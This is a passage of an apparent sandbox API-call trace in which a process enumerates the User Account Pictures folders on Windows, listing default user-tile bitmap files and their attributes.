nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.493] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default Pictures", cAlternateFileName="DEFAUL~1")) returned 1 [0139.493] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.bmp", cAlternateFileName="")) returned 1 [0139.493] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7a090130, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7a090130, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7a090130, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kEecfMwgj.dat", cAlternateFileName="KEECFM~1.DAT")) returned 1 [0139.493] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 1 [0139.493] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 0 [0139.494] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.494] SetErrorMode (uMode=0x0) returned 0x1 [0139.494] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures", lpFilePart=0x0) returned 0x3f [0139.494] SetErrorMode (uMode=0x1) returned 0x0 [0139.494] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\*" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.496] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.496] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xda0a8861, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile10.bmp", cAlternateFileName="")) returned 1 [0139.496] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae24f474, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae24f474, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb5a2927, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile11.bmp", cAlternateFileName="")) returned 1 [0139.496] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2755d1, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2755d1, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb6d3417, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile12.bmp", cAlternateFileName="")) returned 1 [0139.496] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae29b72e, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae29b72e, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb76b98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xbeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile13.bmp", cAlternateFileName="")) returned 1 [0139.497] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2e79e8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2e79e8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdb82a065, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile14.bmp", cAlternateFileName="")) returned 1 [0139.497] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae2e79e8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae2e79e8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdbb95fd7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile15.bmp", cAlternateFileName="")) returned 1 [0139.497] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae30db45, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae30db45, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdca9c9ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile16.bmp", cAlternateFileName="")) returned 1 [0139.497] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae333ca2, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae333ca2, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc3f8f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile17.bmp", cAlternateFileName="")) returned 1 [0139.497] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae333ca2, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae333ca2, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc65a55, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile18.bmp", cAlternateFileName="")) returned 1 [0139.497] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae359dff, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae359dff, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdcc8bbb3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile19.bmp", cAlternateFileName="")) returned 1 [0139.497] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae37ff5c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae37ff5c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdccb1d11, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile20.bmp", cAlternateFileName="")) returned 1 [0139.497] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a60b9, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3a60b9, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd069f3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile21.bmp", cAlternateFileName="")) returned 1 [0139.497] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3a60b9, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3a60b9, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd09009d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile22.bmp", cAlternateFileName="")) returned 1 [0139.497] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3cc216, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3cc216, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd0b61fb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile23.bmp", cAlternateFileName="")) returned 1 [0139.497] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd232fa7, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile24.bmp", cAlternateFileName="")) returned 1 [0139.498] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd259105, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile25.bmp", cAlternateFileName="")) returned 1 [0139.498] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3f2373, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae3f2373, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd27f263, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile26.bmp", cAlternateFileName="")) returned 1 [0139.498] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4184d0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4184d0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd2a53c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile27.bmp", cAlternateFileName="")) returned 1 [0139.498] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae43e62d, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae43e62d, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3177db, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile28.bmp", cAlternateFileName="")) returned 1 [0139.498] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae43e62d, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae43e62d, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd33d939, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile29.bmp", cAlternateFileName="")) returned 1 [0139.498] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae46478a, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae46478a, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3fc00f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile30.bmp", cAlternateFileName="")) returned 1 [0139.498] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae48a8e7, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae48a8e7, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd3fc00f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile31.bmp", cAlternateFileName="")) returned 1 [0139.498] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae48a8e7, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae48a8e7, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd42216d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile32.bmp", cAlternateFileName="")) returned 1 [0139.498] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4b0a44, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4b0a44, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd4482cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile33.bmp", cAlternateFileName="")) returned 1 [0139.498] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4fccfe, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4fccfe, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9c9561, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile34.bmp", cAlternateFileName="")) returned 1 [0139.498] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae4fccfe, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae4fccfe, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9ef6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile35.bmp", cAlternateFileName="")) returned 1 [0139.498] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae548fb8, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae548fb8, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xdd9ef6bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile36.bmp", cAlternateFileName="")) returned 1 [0139.499] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae595272, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae595272, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddb6c46b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile37.bmp", cAlternateFileName="")) returned 1 [0139.499] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5bb3cf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae5bb3cf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddb6c46b, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile38.bmp", cAlternateFileName="")) returned 1 [0139.499] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae5e152c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae5e152c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddc2ab41, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile39.bmp", cAlternateFileName="")) returned 1 [0139.499] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae607689, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae607689, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddc50c9f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile40.bmp", cAlternateFileName="")) returned 1 [0139.499] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae62d7e6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae62d7e6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddcc30b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile41.bmp", cAlternateFileName="")) returned 1 [0139.499] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae653943, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae653943, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddce9217, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile42.bmp", cAlternateFileName="")) returned 1 [0139.499] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae653943, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae653943, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd0f375, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile43.bmp", cAlternateFileName="")) returned 1 [0139.499] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae679aa0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae679aa0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd354d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile44.bmp", cAlternateFileName="")) returned 1 [0139.499] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae679aa0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae679aa0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd354d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile44.bmp", cAlternateFileName="")) returned 0 [0139.499] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.500] SetErrorMode (uMode=0x0) returned 0x1 [0139.500] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures", lpFilePart=0x0) returned 0x3f [0139.500] SetErrorMode (uMode=0x1) returned 0x0 [0139.500] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures\\*" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default pictures\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.501] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.501] FindNextFileW (in: 